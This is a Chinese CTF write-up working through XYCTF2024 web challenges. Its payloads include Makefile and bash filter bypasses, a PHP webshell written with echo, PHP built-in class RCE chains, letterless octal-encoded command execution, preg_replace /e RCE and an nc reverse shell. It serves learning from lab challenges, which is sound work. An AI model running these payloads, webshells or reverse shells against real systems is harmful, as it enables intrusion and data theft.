XYCTF2024复现
ezMake
扫了一下目录发现有flag文件,下载下来就是flag,不过好像这不是预期解
传入一个1之后有回显
分析一下内容
这里PATH变量被设置为空,这段 Makefile 的逻辑检查了 PATH 是否未定义,如果未定义则设为空,如果已定义也重设为空。因为**make
命令本身也依赖 PATH 查找**,当PATH被设置为空之后,
但是测试之后发现Bash内置命令是可以执行的
- 内置命令列表
命令 | 说明 |
---|---|
: | 扩展参数列表,执行重定向操作 |
. | 读取并执行指定文件中的命令(在当前 shell 环境中) |
alias | 为指定命令定义一个别名 |
bg | 将作业以后台模式运行 |
bind | 将键盘序列绑定到一个 readline 函数或宏 |
break | 退出 for、while、select 或 until 循环 |
builtin | 执行指定的 shell 内建命令 |
caller | 返回活动子函数调用的上下文 |
cd | 将当前目录切换为指定的目录 |
command | 执行指定的命令,无需进行通常的 shell 查找 |
compgen | 为指定单词生成可能的补全匹配 |
complete | 显示指定的单词是如何补全的 |
compopt | 修改指定单词的补全选项 |
continue | 继续执行 for、while、select 或 until 循环的下一次迭代 |
declare | 声明一个变量或变量类型。 |
dirs | 显示当前存储目录的列表 |
disown | 从进程作业表中刪除指定的作业 |
echo | 将指定字符串输出到 STDOUT |
enable | 启用或禁用指定的内建shell命令 |
eval | 将指定的参数拼接成一个命令,然后执行该命令 |
exec | 用指定命令替换 shell 进程 |
exit | 强制 shell 以指定的退出状态码退出 |
export | 设置子 shell 进程可用的变量 |
fc | 从历史记录中选择命令列表 |
fg | 将作业以前台模式运行 |
getopts | 分析指定的位置参数 |
hash | 查找并记住指定命令的全路径名 |
help | 显示帮助文件 |
history | 显示命令历史记录 |
jobs | 列出活动作业 |
kill | 向指定的进程 ID(PID) 发送一个系统信号 |
let | 计算一个数学表达式中的每个参数 |
local | 在函数中创建一个作用域受限的变量 |
logout | 退出登录 shell |
mapfile | 从 STDIN 读取数据行,并将其加入索引数组 |
popd | 从目录栈中删除记录 |
printf | 使用格式化字符串显示文本 |
pushd | 向目录栈添加一个目录 |
pwd | 显示当前工作目录的路径名 |
read | 从 STDIN 读取一行数据并将其赋给一个变量 |
readarray | 从 STDIN 读取数据行并将其放入索引数组 |
readonly | 从 STDIN 读取一行数据并将其赋给一个不可修改的变量 |
return | 强制函数以某个值退出,这个值可以被调用脚本提取 |
set | 设置并显示环境变量的值和 shell 属性 |
shift | 将位置参数依次向下降一个位置 |
shopt | 打开/关闭控制 shell 可选行为的变量值 |
source | 读取并执行指定文件中的命令(在当前 shell 环境中) |
suspend | 暂停 Shell 的执行,直到收到一个 SIGCONT 信号 |
test | 基于指定条件返回退出状态码 0 或 1 |
times | 显示累计的用户和系统时间 |
trap | 如果收到了指定的系统信号,执行指定的命令 |
type | 显示指定的单词如果作为命令将会如何被解释 |
typeset | 声明一个变量或变量类型。 |
ulimit | 为系统用户设置指定的资源的上限 |
umask | 为新建的文件和目录设置默认权限 |
unalias | 刪除指定的别名 |
unset | 刪除指定的环境变量或 shell 属性 |
wait | 等待指定的进程完成,并返回退出状态码 |
1 | ubuntu@VM-16-12-ubuntu:/$ PATH= |
尝试用echo写木马但是遇到waf了
1 | echo "<?php eval($_POST['cmd']); ?>" > 1.php |
用base64和hex绕过也不行
1 | echo "PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=" | base64 -d > 1.php |
试一下用Bash里的.去执行flag文件就行
1 | . flag |
当然还有其他的命令
1 | echo $(shell cat flag) |
解释一下payload
$(...) |
命令替换,先执行 ... 里的命令,返回其输出(STDOUT) |
---|---|
shell cat flag |
尝试执行 shell 命令,并传 cat flag 作为参数 |
echo ... |
打印命令替换后的结果 |
ez?Make
一样的页面,但是扫目录里是看不到flag了,有个Makefile路径,把Makefile文件下下来看看
1 | SHELL := /bin/bash |
这里指定了在执行shell命令时使用/bin/bash而不是默认的/bin/sh,这里和上面的题目不一样,这里不仅限于bash内置命令
但是这里禁用了很多命令,测试后发现cd是可以用的
因为已知flag在根目录,所以尝试直接读取flag,但是这里很多读取文件的命令都被禁用了,不过more可以用,然后就是绕过flag的关键字过滤了,也过滤了*
和?
看看用[]
去匹配,一开始是用[a-z]
的,但是发现被过滤了,不过好在用[0-z]能匹配出来
1 | cd .. && cd .. && cd ..&&more [0-z][0-z][0-z][0-z] |
或者也可以cd到bin目录下执行bash命令
1 | cd .. && cd .. && cd ..&& cd bin && echo "bHM=" | b[0-z]se64 -d | b[0-z]sh |
然后我们cat /flag就可以了
1 | cd .. && cd .. && cd ..&& cd bin && echo "Y2F0IC9mbGFn" | b[0-z]se64 -d | b[0-z]sh |
ezhttp
一个登录页面,有账号有密码登录框
扫i目录扫出很多东西
1 | [19:01:03] Scanning: |
访问/robots.txt有一个/l0g1n.txt
1 | username: XYCTF |
拿到账密了,登录有显示
1 | 登录成功! |
伪造请求头,抓包处理吧,这里直接放修改的地方了
1 | Referer: yuanshen.com // 从yuanshen.com来的 |
ezClass
1 |
|
((new $a($aa))->$c())((new $b($bb))->$c());
:动态创建两个对象,并调用它们的方法,然后将第二个对象方法的返回值作为参数传递给第一个对象方法。第一个的返回值需要是一个函数,而第二个的返回值是作为参数传递给第一个返回的函数。
这里第一个想到的是利用原生类中的方法去写马
#Error内置类实现RCE
可以用Error内置类去打,其中Error::getMessage方法可以返回Error类实例化时接受的字符串
1 |
|
所以基本思路就是创建两个error类分别给system和cat /flag两个参数,再用getMessage方法把输进去的参数当作字符串返回
1 | GET:?a=Error&aa=system&c=getMessage&b=Error&bb=ls / |
#SplFileObject内置类+data伪协议
也用SplFileObject内置类去打,我们先看看SplFileObjectp类中有什么内容
1 | class SplFileObject extends SplFileInfo implements RecursiveIterator, SeekableIterator { |
由于这里$c是调用的方法,在最后一行中两边是一致的,但是跟Error中一样的,这里也有一个__toString
方法
1 | SplFileObject::__toString —以字符串形式返回当前行 |
在本地测试一下
1 | root@VM-16-12-ubuntu:/var/www/html# cat test.php |
但是这里因为是两个部分的调用返回值进行配合,并且当前目录下的内容是不可知的,所以不能直接读取flag文件,也是需要写命令执行语句
这里需要配合data伪协议去输出,data伪协议可以动态生成文件而无需真实文件。通过data伪协议去包装数据,使得我们可以输出 data://
包装的数据
1 |
|
所以我们最终的payload就是
1 | ?a=SplFileObject&aa=data://text/plain,system&c=__toString&b=SplFileObject&bb=data://text/plain,cat%20/flag |
ezRCE
#无字母RCE
1 |
|
这里需要我们传入的cmd符合白名单中的字符,否则就会执行die语句
无字母RCE
bashfuck的用法,需要配合$0环境变量去使用
\$0
是 Shell 环境中的一个特殊变量,代表 当前 Shell 或脚本的名称。
1 | root@VM-16-12-ubuntu:/var/www/html# echo $0 |
<<<
→ Here String(输入字符串作为标准输入)
1 | root@VM-16-12-ubuntu:/var/www/html# $0<<<'id' |
这里可以看到id命令成功被执行
因为这里有白名单过滤,所以我们需要用数字编码去转换我们的命令
payload
1 | ?cmd=$0<<<$%27\154\163\040\057%27 |
推荐文章:https://www.freebuf.com/articles/system/361101.html
warm up
1 |
|
用extract($_GET);代码可以实现变量覆盖,直接GET传入变量的值就行
先看第一层,就是简单的md5弱比较,用数组绕过或者强碰撞都行
1 | ?val1[]=1&val2[]=2 |
再看第二层,需要变量在md5后的值弱等于初始值,也就是需要找个以0e开头的并且该值md5加密后也是0e开头
1 | ?val1[]=1&val2[]=2&md5=0e215962017 |
然后看第三层,需要$XY和$XYCTF的值符合弱相等,然后就是里面的md5比较,先算一下XYCTF_550102591
在md5加密后的值
1 |
|
0e开头的,那还是强碰撞,但是想到这里能进行变量覆盖,那我们可以对$XYCTF的值进行修改,所以随便传入一个强碰撞相等的值就行
1 | ?val1[]=1&val2[]=2&md5=0e215962017&XY=QLTHNDT&XYCTF=QLTHNDT |
访问一下
1 |
|
这里先需要满足第一层才能进行操作,既要a为数字也要a不包含数字,preg_match() 只能处理字符串,遇到数组时会返回 false,!false就是true,满足条件
1 | a[]=2 |
第二层就是关于preg_replace在/e模式下的rce了,这里三个参数都可控,就简单的多
1 | ?a=/a/e&c=a&b=system('ls /') |
ezmd5
需要上传两个图片,根据题目说的md5,估计是需要上传两个不一样的图片但是md5一样的
直接用md5碰撞生成工具(fastcoll)生成就行,也可以直接去网上找现成的图片
这两张图片具有相同的 md5 哈希值:253dd04e87492e4fc3471de5e776bc3d
牢牢记住,逝者为大
1 |
|
这里限制了很多
- cmd的字符不能超过13个
- 过滤了很多命令函数和操作符
另外在eval函数中有#man注释,我们需要避开这个坑,避免我们传入的代码被注释掉,然后在后面还有多余的数据
首先先试着能让我们的eval能执行
过注释符#
1 |
|
用换行符可以逃逸注释,但是这里过滤了\
根据URL编码规则,我们用%0a去代替\n
,本地测试一下
1 |
|
传入a
1 | ?a=%0a echo '1';%23 |
注意# 是 URL 的锚点标识符,这里需要对#进行编码成%23,否则会被认为是URL本身的分隔符,
根据**\n
和 \r
在 HTTP 请求中的特殊作用**,如果 \n
不经编码直接传入 ?a=\n123
,服务器或浏览器可能会错误地认为 \n
是 HTTP 请求结束符,导致参数被截断。所以我们的\n
也是需要编码成URL编码才能起作用的
编码之后PHP后对参数a进行解码
1 | ?a=\n echo '1';# |
绕过这两个的问题解决了,接下来就是如何绕过过滤进行rce了
如果上面两个是必须的,那么此时我们已经消耗掉了三个字符(注意,这里不是七个字符,因为后端PHP会进行解码,所以最后是三个字符),那么只能传入最多10个字符
这么多函数禁用了,这时候可以用反引号内联执行,在反引号中可以放入系统命令,可以用带参数输入的方式
1 | `$_GET[1]` |
刚好10个字符,然后可以传入1,但是这里对get的参数都有过滤,还不能换成post,限制的死死的,是要我们去绕过
不能写文件(>被过滤),不能操作文件(mv,cp被过滤),也不能看目录(ls,被过滤),还无法用通配符去匹配文件(?,*)被过滤
但是这些命令可以用单双引号去绕过,那么方法就很多了(注意这里是无回显的)
方法1:cp复制flag
1 | ?cmd=%0a`$_GET[1]`;%23&1=c''p /[@-z][@-z][@-z]g 1.txt |
虽然不能用?
和*
通配符,但是可以用[]
去匹配单个字符,这里执行cp命令后访问1.txt就可以拿到flag了
方法2:反弹shell
无回显的RCE,直接反弹shell
1 | nc [host] [port] -e /bi''n/sh |
方法3:数字编码绕过
1 | ?cmd=%0a`$_GET[1]`;%23&1=$'\143\160' $'\57\146\154\141\147' 1.txt |
根据Bash 的 $'...'
ANSI-C Quoting 机制,$'...'
会在 Shell 解析阶段(执行命令前)把 \xxx
(八进制)转换成 对应的 ASCII 字符。所有 $'\xxx'
拼接后,最终会合并为 可执行的 Shell 命令
εZ?¿м@Kε¿?
hint:Μακεϝ1LE>1s<S0<ϜxxΚ1ηG_ξ2!@<>#>%%#!$*&^(!
才发现是和前面两个题一样的makefile
1 | [18:09:36] Scanning: |
访问/hint.php
1 | /^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/ |
估计是正则匹配的表达式
先输出可用字符
1 |
|
一开始以为是有这么多字符可以用,后面才发现这个表达式是需要匹配的,而并非不能匹配的,也就是白名单
1 | #输出可用字符 |
学习一下关于Makefile中的$@, $^, $< , $?, $%, $+, $*
参考文章:Makefile中的$@, $^, $< , $?, $%, $+, $*
1 | $@ 表示目标文件 |
传入$<
,有回显/flag,随后我们要读取,要用 < 重定向符读取,用于从文件中读取内容
我们测试一下输入 <$< 回显了</flag
随后我们要读取到一个地方,也没有什么地方能读取,只能读取到变量里那么我们就能构造出
payload
1 | $(<$<) |
但是还是读取不了,回显
1 | make: Nothing to be done for 'FLAG'. |
这个时候我们就要用到转义符号 $ ,这是因为在 Makefile 中, $ 符号是特殊字符,需要转义才
能正常使用,所以就得到了最终的payload
1 | $$(<$<) |
有点神奇。。全程跟着wp做的,但还是得理解一下
从内到外去理解一下
首先需要理解的是重定向符
重定向符<
在 Shell(如 Bash)中,<
是一个 输入重定向(Input Redirection)符号,用于 将文件内容作为命令的输入。
语法
1 | 命令 < 文件 |
那么<$< 回显了</flag,此时根据这个特点,我们可以把flag文件的内容当成是命令的输入,然后我们需要解决如何输出这个命令或者是读取这个命令
$(<$<)
$( <$< )
→ 读取输入并执行命令
在 Bash 中,$( command )
的语法是 命令替换(Command Substitution),它的作用是:
- 执行
command
并捕获其标准输出(stdout)。 - 将命令的输出结果替换到当前位置。
例如我们本地测试一下
1 | root@VM-16-12-ubuntu:/var/www/html# cat 1.php |
最终payload
$$(<$<)
:其实和上面的一样,只不过
在 Makefile 中:
- 单个
$
→ 被 Make 解析(用于变量或自动化变量,如(CC)‘、‘(CC)‘、‘@`)。 $$
→ 转义为 单个$
并传递给 Shell(避免 Make 解析)。